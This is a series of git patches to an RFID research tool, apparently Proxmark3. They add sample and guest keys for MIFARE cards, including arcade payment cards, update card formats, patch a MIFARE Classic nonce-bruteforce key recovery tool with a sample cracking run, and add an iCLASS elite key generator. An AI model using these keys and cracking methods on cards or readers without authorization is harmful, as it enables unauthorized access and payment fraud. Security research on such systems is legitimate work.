@@ static bool Unpack_indasc27(wiegand_message_t *packed, wiegand_card_t *card) { if (packed->Length != 27) return false; // Wrong length? Stop here. - card->FacilityCode = get_nonlinear_field(packed, 11, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22}); + card->FacilityCode = get_nonlinear_field(packed, 13, (uint8_t[]) {9, 4, 6, 5, 0, 7, 19, 8, 10, 16, 24, 12, 22}); card->CardNumber = get_nonlinear_field(packed, 14, (uint8_t[]) {26, 1, 3, 15, 14, 17, 20, 13, 25, 2, 18, 21, 11, 23}); return true; } @@ -1178,7 +1178,7 @@ static bool Pack_iscs38(wiegand_card_t *card, wiegand_message_t *packed, bool pr set_linear_field(packed, card->FacilityCode, 5, 10); set_linear_field(packed, card->CardNumber, 15, 22); - set_linear_field(packed, card->IssueLevel, 1, 4); + set_linear_field(packed, card->OEM, 1, 4); set_bit_by_position(packed, evenparity32(get_linear_field(packed, 1, 18)) @@ -1257,7 +1257,7 @@ static bool Pack_bc40(wiegand_card_t *card, wiegand_message_t *packed, bool prea if (card->IssueLevel > 0) return false; // Not used in this format if (card->OEM > 0x7F) return false; // Not used in this format - packed->Length = 39; // Set number of bits + packed->Length = 40; // Set number of bits set_linear_field(packed, card->OEM, 0, 7); @@ -1277,7 +1277,7 @@ static bool Pack_bc40(wiegand_card_t *card, wiegand_message_t *packed, bool prea static bool Unpack_bc40(wiegand_message_t *packed, wiegand_card_t *card) { memset(card, 0, sizeof(wiegand_card_t)); - if (packed->Length != 39) return false; // Wrong length? Stop here. + if (packed->Length != 40) return false; // Wrong length? Stop here. card->OEM = get_linear_field(packed, 0, 7); card->FacilityCode = get_linear_field(packed, 7, 12); From 78c5ddf8d709652581eab5d76e4fa531a3e30fc5 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Sun, 7 Jul 2024 08:34:33 +1000 Subject: [PATCH 136/157] Added Sample ULC Access Key Reference: https://fcc.report/FCC-ID/G7H-SPRFTR001/5047018.pdf The third sample access key is added by me because the documentation placed a `00 [null]` as the last byte instead of `46 [F]`. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/dictionaries/mfulc_default_keys.dic | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/client/dictionaries/mfulc_default_keys.dic b/client/dictionaries/mfulc_default_keys.dic index 09dea8caf..112dda7e1 100644 --- a/client/dictionaries/mfulc_default_keys.dic +++ b/client/dictionaries/mfulc_default_keys.dic @@ -3,4 +3,6 @@ # -- iceman fork version -- # -- contribute to this list, sharing is caring -- # -425245414B4D454946594F5543414E21 # Sample Key (BREAKMEIFYOUCAN!) +425245414B4D454946594F5543414E21 # Sample Key (BREAKMEIFYOUCAN!) +49454D4B41455242214E4143554F5900 # Sample Key (IEMKAERB!NACUO) +49454D4B41455242214E4143554F5946 # Sample Key (IEMKAERB!NACUOY) From 9d9a49f2685123eea21d6139e83854e498a0c3e3 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Sun, 7 Jul 2024 08:35:22 +1000 Subject: [PATCH 137/157] Update mfulc_default_keys.dic Fixed typo. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/dictionaries/mfulc_default_keys.dic | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/dictionaries/mfulc_default_keys.dic b/client/dictionaries/mfulc_default_keys.dic index 112dda7e1..4115d3704 100644 --- a/client/dictionaries/mfulc_default_keys.dic +++ b/client/dictionaries/mfulc_default_keys.dic @@ -4,5 +4,5 @@ # -- contribute to this list, sharing is caring -- # 425245414B4D454946594F5543414E21 # Sample Key (BREAKMEIFYOUCAN!) -49454D4B41455242214E4143554F5900 # Sample Key (IEMKAERB!NACUO) -49454D4B41455242214E4143554F5946 # Sample Key (IEMKAERB!NACUOY) +49454D4B41455242214E4143554F5900 # Sample Key (IEMKAERB!NACUOY) +49454D4B41455242214E4143554F5946 # Sample Key (IEMKAERB!NACUOYF) From 6f80b5ac2f97801c6088159b0d150a9c79999bc7 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Sun, 7 Jul 2024 08:51:53 +1000 Subject: [PATCH 138/157] Update mfulc_default_keys.dic Added additonal sample keys based on how a company decided to modify the sample key as the basis for theirs; it stands to reason that if one company did that, then another company very well could have done the same. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/dictionaries/mfulc_default_keys.dic | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/client/dictionaries/mfulc_default_keys.dic b/client/dictionaries/mfulc_default_keys.dic index 4115d3704..8d42fe113 100644 --- a/client/dictionaries/mfulc_default_keys.dic +++ b/client/dictionaries/mfulc_default_keys.dic @@ -3,6 +3,8 @@ # -- iceman fork version -- # -- contribute to this list, sharing is caring -- # -425245414B4D454946594F5543414E21 # Sample Key (BREAKMEIFYOUCAN!) -49454D4B41455242214E4143554F5900 # Sample Key (IEMKAERB!NACUOY) -49454D4B41455242214E4143554F5946 # Sample Key (IEMKAERB!NACUOYF) +12E4143455F495649454D4B414542524 # ( 4U d T T%$) Hexadecimal-Reversed Sample Key +214E4143554F594649454D4B41455242 # (!NACUOYFIEMKAERB) Byte-Reversed Sample Key +425245414B4D454946594F5543414E21 # (BREAKMEIFYOUCAN!) Sample Key +49454D4B41455242214E4143554F5900 # (IEMKAERB!NACUOY ) Semnox Key +49454D4B41455242214E4143554F5946 # (IEMKAERB!NACUOYF) Modified Semnox Key From ba6b0705849969a5681a571dcb958d733800e033 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Sun, 7 Jul 2024 10:19:55 +1000 Subject: [PATCH 139/157] Update mfc_default_keys.dic Added static guest access keys for various cashless prepaid arcade payment cards. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/dictionaries/mfc_default_keys.dic | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index 5856c598c..d225108b3 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -2205,6 +2205,13 @@ C8382A233993 7B304F2A12A6 FC9418BF788B # +# Guest Cashless Prepaid Arcade Payment Cards +168168168168 +198407157610 +4E4F584D12101 +4E4F584D12105 +686B35333376 +861861861861 # Data from "the more the marriott" mifare project (colonelborkmundus) # aka The Horde # From d1e76d90cbf6d370e4a27d6310e11ddaf93ebfd6 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Sun, 7 Jul 2024 10:38:32 +1000 Subject: [PATCH 140/157] Update aid_desfire.json Restored Disney MagicBand AID, noting that NXP TagInfo claimed that this AID is an unknown application instead of a Disney MagicBand. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 237db3297..964590699 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -431,6 +431,14 @@ "Description": "", "Type": "student" }, + { + "AID": "27E178", + "Vendor": "Disney", + "Country": "US", + "Name": "Disney MagicBand", + "Description": "", + "Type": "payment system" + } { "AID": "44434C", "Vendor": "Disney", From 53194324452241a2424c276a5b2c25d53048ff38 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Sun, 7 Jul 2024 10:40:33 +1000 Subject: [PATCH 141/157] Update aid_desfire.json Formatting fixes. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index 964590699..bfff4b5b3 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -438,7 +438,7 @@ "Name": "Disney MagicBand", "Description": "", "Type": "payment system" - } + }, { "AID": "44434C", "Vendor": "Disney", From e5f1487804d4edc9d5e9ce9506d6085de03339d3 Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Mon, 8 Jul 2024 08:11:24 +1000 Subject: [PATCH 142/157] Update mfc_default_keys.dic Corrected a typing error that resulted in two 13-hexadecimal character access keys. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/dictionaries/mfc_default_keys.dic | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index d225108b3..c849c63fe 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -2208,8 +2208,8 @@ FC9418BF788B # Guest Cashless Prepaid Arcade Payment Cards 168168168168 198407157610 -4E4F584D12101 -4E4F584D12105 +4E4F584D2101 +4E4F584D2105 686B35333376 861861861861 # Data from "the more the marriott" mifare project (colonelborkmundus) From 1f74f80de1cd62a4d7a8ce77833c77a91328a77f Mon Sep 17 00:00:00 2001 From: ry4000 <154689120+ry4000@users.noreply.github.com> Date: Mon, 8 Jul 2024 08:14:26 +1000 Subject: [PATCH 143/157] Update aid_desfire.json Corrected the IST Istanbul name. Signed-off-by: ry4000 <154689120+ry4000@users.noreply.github.com> --- client/resources/aid_desfire.json | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index bfff4b5b3..263d30f58 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -531,7 +531,7 @@ "AID": "012242", "Vendor": "Belbim", "Country": "TR", - "Name": "Istanbulkart (IST)", + "Name": "İstanbulkart (IST)", "Description": "IST Istanbul Card (eBilet App)", "Type": "transport" }, @@ -579,7 +579,7 @@ "AID": "052242", "Vendor": "Belbim", "Country": "TR", - "Name": "Istanbulkart (IST)", + "Name": "İstanbulkart (IST)", "Description": "IST Istanbul Card (ISPARK App)", "Type": "transport" }, @@ -595,7 +595,7 @@ "AID": "062242", "Vendor": "Belbim", "Country": "TR", - "Name": "Istanbulkart (IST)", + "Name": "İstanbulkart (IST)", "Description": "IST Istanbul Card (App 6)", "Type": "transport" }, From 06203a8c5f6ed03437f958cd0a3a3ddd9c1beefb Mon Sep 17 00:00:00 2001 From: Jean-Michel Picod Date: Tue, 9 Jul 2024 14:02:20 +0200 Subject: [PATCH 144/157] Fix invalid Wiegand format flags. Some formats were declared with not adequate flags resulting in the format being filtered out for encoding/decoding unless explictly setting it. --- client/src/wiegand_formats.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/client/src/wiegand_formats.c b/client/src/wiegand_formats.c index 9c3a09c31..f0e230bab 100644 --- a/client/src/wiegand_formats.c +++ b/client/src/wiegand_formats.c @@ -1433,12 +1433,12 @@ static const cardformat_t FormatTable[] = { {"ind26", Pack_ind26, Unpack_ind26, "Indala 26-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"ind27", Pack_ind27, Unpack_ind27, "Indala 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"indasc27", Pack_indasc27, Unpack_indasc27, "Indala ASC 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au - {"Tecom27", Pack_Tecom27, Unpack_Tecom27, "Tecom 27-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au + {"Tecom27", Pack_Tecom27, Unpack_Tecom27, "Tecom 27-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"2804W", Pack_2804W, Unpack_2804W, "2804 Wiegand 28-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"ind29", Pack_ind29, Unpack_ind29, "Indala 29-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"ATSW30", Pack_ATSW30, Unpack_ATSW30, "ATS Wiegand 30-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"ADT31", Pack_ADT31, Unpack_ADT31, "HID ADT 31-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au - {"HCP32", Pack_hcp32, Unpack_hcp32, "HID Check Point 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au + {"HCP32", Pack_hcp32, Unpack_hcp32, "HID Check Point 32-bit", {1, 0, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"HPP32", Pack_hpp32, Unpack_hpp32, "HID Hewlett-Packard 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"Kastle", Pack_Kastle, Unpack_Kastle, "Kastle 32-bit", {1, 1, 1, 0, 1}}, // from @xilni; PR #23 on RfidResearchGroup/proxmark3 {"Kantech", Pack_Kantech, Unpack_Kantech, "Indala/Kantech KFS 32-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au @@ -1462,7 +1462,7 @@ static const cardformat_t FormatTable[] = { {"BQT38", Pack_bqt38, Unpack_bqt38, "BQT 38-bit", {1, 1, 1, 0, 1}}, // from cardinfo.barkweb.com.au {"ISCS", Pack_iscs38, Unpack_iscs38, "ISCS 38-bit", {1, 1, 0, 1, 1}}, // from cardinfo.barkweb.com.au {"PW39", Pack_pw39, Unpack_pw39, "Pyramid 39-bit wiegand format", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au - {"P10001", Pack_P10001, Unpack_P10001, "HID P10001 Honeywell 40-bit", {1, 1, 0, 1, 0}}, // from cardinfo.barkweb.com.au + {"P10001", Pack_P10001, Unpack_P10001, "HID P10001 Honeywell 40-bit", {1, 1, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"Casi40", Pack_CasiRusco40, Unpack_CasiRusco40, "Casi-Rusco 40-bit", {1, 0, 0, 0, 0}}, // from cardinfo.barkweb.com.au {"C1k48s", Pack_C1k48s, Unpack_C1k48s, "HID Corporate 1000 48-bit std", {1, 1, 0, 0, 1}}, // imported from old pack/unpack {"BC40", Pack_bc40, Unpack_bc40, "Bundy TimeClock 40-bit", {1, 1, 0, 1, 1}}, // from From 2a86a86a062f0097bd3a75b0e4918b89576a0a42 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 10 Jul 2024 11:04:23 +0200 Subject: [PATCH 145/157] updated format --- client/src/wiegand_formats.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/client/src/wiegand_formats.c b/client/src/wiegand_formats.c index f0e230bab..eddf28621 100644 --- a/client/src/wiegand_formats.c +++ b/client/src/wiegand_formats.c @@ -591,7 +591,11 @@ static bool Pack_H10320(wiegand_card_t *card, wiegand_message_t *packed, bool pr if (card->IssueLevel > 0) return false; // Not used in this format if (card->OEM > 0) return false; // Not used in this format - packed->Length = 36; // Set number of bits + packed->Length = 37; // Set number of bits + + // first bit is ONE. + set_bit_by_position(packed, 1, 0); + // This card is BCD-encoded rather than binary. Set the 4-bit groups independently. for (uint32_t idx = 0; idx < 8; idx++) { set_linear_field(packed, (uint64_t)(card->CardNumber / pow(10, 7 - idx)) % 10, idx * 4, 4); @@ -616,7 +620,10 @@ static bool Pack_H10320(wiegand_card_t *card, wiegand_message_t *packed, bool pr static bool Unpack_H10320(wiegand_message_t *packed, wiegand_card_t *card) { memset(card, 0, sizeof(wiegand_card_t)); - if (packed->Length != 36) return false; // Wrong length? Stop here. + if (packed->Length != 37) return false; // Wrong length? Stop here. + if (get_bit_by_position(packed, 0) != 1) { + return false; + } // This card is BCD-encoded rather than binary. Get the 4-bit groups independently. for (uint32_t idx = 0; idx < 8; idx++) { @@ -1453,7 +1460,7 @@ static const cardformat_t FormatTable[] = { {"C15001", Pack_C15001, Unpack_C15001, "HID KeyScan 36-bit", {1, 1, 0, 1, 1}}, // from Proxmark forums {"S12906", Pack_S12906, Unpack_S12906, "HID Simplex 36-bit", {1, 1, 1, 0, 1}}, // from cardinfo.barkweb.com.au {"Sie36", Pack_Sie36, Unpack_Sie36, "HID 36-bit Siemens", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au - {"H10320", Pack_H10320, Unpack_H10320, "HID H10320 36-bit BCD", {1, 0, 0, 0, 1}}, // from Proxmark forums + {"H10320", Pack_H10320, Unpack_H10320, "HID H10320 37-bit BCD", {1, 0, 0, 0, 1}}, // from Proxmark forums {"H10302", Pack_H10302, Unpack_H10302, "HID H10302 37-bit huge ID", {1, 0, 0, 0, 1}}, // from Proxmark forums {"H10304", Pack_H10304, Unpack_H10304, "HID H10304 37-bit", {1, 1, 0, 0, 1}}, // from cardinfo.barkweb.com.au {"P10004", Pack_P10004, Unpack_P10004, "HID P10004 37-bit PCSC", {1, 1, 0, 0, 0}}, // from @bthedorff; PR #1559 From 05b50a6c264d9a86a9e72f36e8aa53b2b0334bc5 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 11 Jul 2024 10:57:19 +0200 Subject: [PATCH 146/157] fix #2418 - the tool mf_nonce_brute has in some odd cases when bruteforcing the last upper 16 bits a chance of actually decrypt the four bytes into a valid mifare classic protocol command with a valid ISO14443-a CRC. See github issue for example.\n We now bruteforce all 0xFFFF keyspace and keep track of how many candidates was found. The output has been improved to help user in this case too. --- CHANGELOG.md | 1 + tools/mf_nonce_brute/mf_nonce_brute.c | 27 ++++++++++++++++----------- 2 files changed, 17 insertions(+), 11 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 98797cc01..cc47f0156 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Changed `mf_nonce_brute` tool to handle the odd case of multiple key candidates (@iceman1001) - Fixed a bad memory erase (@iceman1001) - Fixed BT serial comms (@iceman1001) - Changed `intertic.py` - updated and code clean up (@gentilkiwi) diff --git a/tools/mf_nonce_brute/mf_nonce_brute.c b/tools/mf_nonce_brute/mf_nonce_brute.c index 1c00f4eef..2e10ccbf1 100644 --- a/tools/mf_nonce_brute/mf_nonce_brute.c +++ b/tools/mf_nonce_brute/mf_nonce_brute.c @@ -560,9 +560,9 @@ static void *brute_thread(void *arguments) { pthread_mutex_unlock(&print_lock); free(revstate); continue; - } else { - printf("<-- " _GREEN_("valid cmd") "\n"); } + + printf("<-- " _GREEN_("valid cmd") "\n"); } lfsr_rollback_word(revstate, 0, 0); @@ -591,6 +591,7 @@ static void *brute_thread(void *arguments) { return NULL; } +// Bruteforce the upper 16 bits of the key static void *brute_key_thread(void *arguments) { struct thread_key_args *args = (struct thread_key_args *) arguments; @@ -600,10 +601,6 @@ static void *brute_key_thread(void *arguments) { for (uint64_t count = args->idx; count <= 0xFFFF; count += thread_count) { - if (__atomic_load_n(&global_found, __ATOMIC_ACQUIRE) == 1) { - break; - } - key = args->part_key | (count << 32); // Init cipher with key @@ -628,15 +625,20 @@ static void *brute_key_thread(void *arguments) { continue; } - __sync_fetch_and_add(&global_found, 1); + __sync_fetch_and_add(&global_found_candidate, 1); // lock this section to avoid interlacing prints from different threats pthread_mutex_lock(&print_lock); printf("\nenc: %s\n", sprint_hex_inrow_ex(local_enc, args->enc_len, 0)); printf("dec: %s\n", sprint_hex_inrow_ex(dec, args->enc_len, 0)); - printf("\nValid Key found [ " _GREEN_("%012" PRIx64) " ]\n\n", key); + + if (key == global_candidate_key) { + printf("\nValid Key found [ " _GREEN_("%012" PRIx64) " ] - " _YELLOW_("matches candidate") "\n\n", key); + } else { + printf("\nValid Key found [ " _GREEN_("%012" PRIx64) " ]\n\n", key); + } + pthread_mutex_unlock(&print_lock); - break; } free(args); return NULL; @@ -797,12 +799,12 @@ int main(int argc, const char *argv[]) { } // reset thread signals - global_found = 0; global_found_candidate = 0; printf("\n----------- " _CYAN_("Phase 3 validating") " ----------------------------\n"); printf("uid.................. %08x\n", uid); printf("partial key.......... %08x\n", (uint32_t)(global_candidate_key & 0xFFFFFFFF)); + printf("possible key......... %012" PRIx64 "\n", global_candidate_key); printf("nt enc............... %08x\n", nt_enc); printf("nr enc............... %08x\n", nr_enc); printf("next encrypted cmd... %s\n", sprint_hex_inrow_ex(enc, enc_len, 0)); @@ -828,7 +830,10 @@ int main(int argc, const char *argv[]) { pthread_join(threads[i], NULL); } - if (!global_found && !global_found_candidate) { + if (global_found_candidate > 1) { + printf("\nOdd case but we found " _GREEN_("%d") " possible keys", global_found_candidate); + printf("\n" _YELLOW_("You need to test all of them manually, start with the one matching the candidate\n\n")); + } else { printf("\nfailed to find a key\n\n"); } From 30c4f0a924044fd2b5ff251036f5e77fe28818ce Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Thu, 11 Jul 2024 11:04:40 +0200 Subject: [PATCH 147/157] text --- tools/mf_nonce_brute/README.md | 73 ++++++++++++++++++++++++++++++++++ 1 file changed, 73 insertions(+) diff --git a/tools/mf_nonce_brute/README.md b/tools/mf_nonce_brute/README.md index 440474e73..1b18a1a6a 100644 --- a/tools/mf_nonce_brute/README.md +++ b/tools/mf_nonce_brute/README.md @@ -130,3 +130,76 @@ Valid Key found: [ffffffffffff] Time in mf_nonce_brute (Phase 1): 1763 ticks 2.0 seconds ``` + +[2024-07-11] +There is an odd case where we find multiple valid MIFARE Classic protocol commands with a valid ISO14443-A CRC when decrypting four bytes and are bruteforcing the last upper 16 bit of keyspace in phase 3. + +The command has been updated to give a more informative text in order to help the user understanding and what to do next. + +``` +./mf_nonce_brute fcf77b54 1b456bdd 1110 f215b6 f9eb95e9 0011 bf55d0b1 0000 AAD4126B +``` + + +When running you get the following full output + +``` +./mf_nonce_brute$ ./mf_nonce_brute fcf77b54 1b456bdd 1110 f215b6 f9eb95e9 0011 bf55d0b1 0000 AAD4126B + +Mifare classic nested auth key recovery + +----------- information ------------------------ +uid.................. fcf77b54 +nt encrypted......... 1b456bdd +nt parity err........ 1110 +nr encrypted......... 00f215b6 +ar encrypted......... f9eb95e9 +ar parity err........ 0011 +at encrypted......... bf55d0b1 +at parity err........ 0000 +next encrypted cmd... AAD4126B + +Bruteforce using 8 threads + +----------- Phase 1 pre-processing ------------------------ +Testing default keys using NESTED authentication... + +----------- Phase 2 examine ------------------------------- +Looking for the last bytes of the encrypted tagnonce + +Target old MFC... +CMD enc( aad4126b ) + dec( 302424cf ) <-- valid cmd + +Key candidate [ ....37afcc2b ] +Key candidate [ a70d37afcc2b ] + +execution time 0.47 sec + +----------- Phase 3 validating ---------------------------- +uid.................. fcf77b54 +partial key.......... 37afcc2b +possible key......... a70d37afcc2b +nt enc............... 1b456bdd +nr enc............... 00f215b6 +next encrypted cmd... AAD4126B + +Looking for the upper 16 bits of the key + +enc: AAD4126B +dec: 610BFEDC + +Valid Key found [ 7c2337afcc2b ] + + +enc: AAD4126B +dec: 302424CF + +Valid Key found [ a70d37afcc2b ] - matches candidate + + +Odd case but we found 2 possible keys +You need to test all of them manually, start with the one matching the candidate + +``` + From 96e3e07faa48bf8f20f0a30e37ea9e6dae5fc23d Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Fri, 12 Jul 2024 11:18:17 +0800 Subject: [PATCH 148/157] Implemented VB6 rng for iclass lookup elite key search Ported @bettse work from the Flipper Zero Picopass repository to use the lookup function with the VB6 rng --- CHANGELOG.md | 1 + client/src/cmdhficlass.c | 100 ++++++++++++++++++++++++++++++++------- client/src/cmdhficlass.h | 6 +++ 3 files changed, 90 insertions(+), 17 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index cc47f0156..89143f958 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -10,6 +10,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac - Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier - Added new t55xx password (002BCFCF) sniffed from cheap cloner (@davidbeauchamp) - Fixed 'hf 14b sim' - now works (@michi-jung) +- Added VB6 Rng for iclass elite keys lookup by porting @bettse work in the Flipper Zero Picopass App (@antiklesys) ## [Aurora.4.18589][2024-05-28] - Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index ca3451e36..f3bf3fd51 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3774,29 +3774,84 @@ out: // this method tries to identify in which configuration mode a iCLASS / iCLASS SE reader is in. // Standard or Elite / HighSecurity mode. It uses a default key dictionary list in order to work. +#define INITIAL_SEED 0x429080 // VB6 KDF Seed Value + +// Functions for generating keys using RNG +uint32_t seed = INITIAL_SEED; +uint8_t key_state[8]; +bool prepared = false; + +void picopass_elite_reset(void) { + memset(key_state, 0, sizeof(key_state)); + seed = INITIAL_SEED; + prepared = false; +} + +uint32_t picopass_elite_lcg(void) { + uint32_t mod = 0x1000000; // 2^24 + uint32_t a = 0xFD43FD; + uint32_t c = 0xC39EC3; + + return (a * seed + c) % mod; +} + +uint32_t picopass_elite_rng(void) { + seed = picopass_elite_lcg(); + return seed; +} + +uint8_t picopass_elite_nextByte(void) { + return (picopass_elite_rng() >> 16) & 0xFF; +} + +void picopass_elite_nextKey(uint8_t* key) { + if(prepared) { + for(size_t i = 0; i < 7; i++) { + key_state[i] = key_state[i + 1]; + } + key_state[7] = picopass_elite_nextByte(); + } else { + for(size_t i = 0; i < 8; i++) { + key_state[i] = picopass_elite_nextByte(); + } + prepared = true; + } + memcpy(key, key_state, 8); +} + static int CmdHFiClassLookUp(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf iclass lookup", "This command take sniffed trace data and try to recovery a iCLASS Standard or iCLASS Elite key.", "hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic\n" - "hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic --elite" + "hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b -f iclass_default_keys.dic --elite\n" + "hf iclass lookup --csn 9655a400f8ff12e0 --epurse f0ffffffffffffff --macs 0000000089cb984b --vb6rng" ); void *argtable[] = { arg_param_begin, - arg_str1("f", "file", "", "Dictionary file with default iclass keys"), + arg_str0("f", "file", "", "Dictionary file with default iclass keys"), arg_str1(NULL, "csn", "", "Specify CSN as 8 hex bytes"), arg_str1(NULL, "epurse", "", "Specify ePurse as 8 hex bytes"), arg_str1(NULL, "macs", "", "MACs"), arg_lit0(NULL, "elite", "Elite computations applied to key"), arg_lit0(NULL, "raw", "no computations applied to key"), + arg_lit0(NULL, "vb6rng", "use the VB6 rng for elite keys instead of a dictionary file"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); + bool use_vb6kdf = arg_get_lit(ctx, 7); int fnlen = 0; char filename[FILE_PATH_SIZE] = {0}; - CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); + + bool use_elite = arg_get_lit(ctx, 5); + bool use_raw = arg_get_lit(ctx, 6); + if(use_vb6kdf){ + use_elite = true; + }else{ + CLIParamStrToBuf(arg_get_str(ctx, 1), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); + } int csn_len = 0; uint8_t csn[8] = {0}; @@ -3834,15 +3889,12 @@ static int CmdHFiClassLookUp(const char *Cmd) { } } - bool use_elite = arg_get_lit(ctx, 5); - bool use_raw = arg_get_lit(ctx, 6); - CLIParserFree(ctx); uint8_t CCNR[12]; uint8_t MAC_TAG[4] = { 0, 0, 0, 0 }; - // stupid copy.. CCNR is a combo of epurse and reader nonce + // Stupid copy.. CCNR is a combo of epurse and reader nonce memcpy(CCNR, epurse, 8); memcpy(CCNR + 8, macs, 4); memcpy(MAC_TAG, macs + 4, 4); @@ -3853,20 +3905,34 @@ static int CmdHFiClassLookUp(const char *Cmd) { PrintAndLogEx(SUCCESS, " CCNR: " _GREEN_("%s"), sprint_hex(CCNR, sizeof(CCNR))); PrintAndLogEx(SUCCESS, "TAG MAC: %s", sprint_hex(MAC_TAG, sizeof(MAC_TAG))); - // run time + // Run time uint64_t t1 = msclock(); uint8_t *keyBlock = NULL; uint32_t keycount = 0; - // load keys - int res = loadFileDICTIONARY_safe(filename, (void **)&keyBlock, 8, &keycount); - if (res != PM3_SUCCESS || keycount == 0) { - free(keyBlock); - return res; + if (!use_vb6kdf) { + // Load keys + int res = loadFileDICTIONARY_safe(filename, (void **)&keyBlock, 8, &keycount); + if (res != PM3_SUCCESS || keycount == 0) { + free(keyBlock); + return res; + } + } else { + // Generate 5000 keys using VB6 KDF + keycount = 5000; + keyBlock = malloc(keycount * 8); + if (!keyBlock) { + return PM3_EMALLOC; + } + + picopass_elite_reset(); + for (uint32_t i = 0; i < keycount; i++) { + picopass_elite_nextKey(keyBlock + (i * 8)); + } } - //iclass_prekey_t + // Iclass_prekey_t iclass_prekey_t *prekey = calloc(keycount, sizeof(iclass_prekey_t)); if (!prekey) { free(keyBlock); @@ -3883,7 +3949,7 @@ static int CmdHFiClassLookUp(const char *Cmd) { PrintAndLogEx(INFO, "Sorting..."); - // sort mac list. + // Sort mac list qsort(prekey, keycount, sizeof(iclass_prekey_t), cmp_uint32); PrintAndLogEx(SUCCESS, "Searching for " _YELLOW_("%s") " key...", "DEBIT"); @@ -3891,7 +3957,7 @@ static int CmdHFiClassLookUp(const char *Cmd) { iclass_prekey_t lookup; memcpy(lookup.mac, MAC_TAG, 4); - 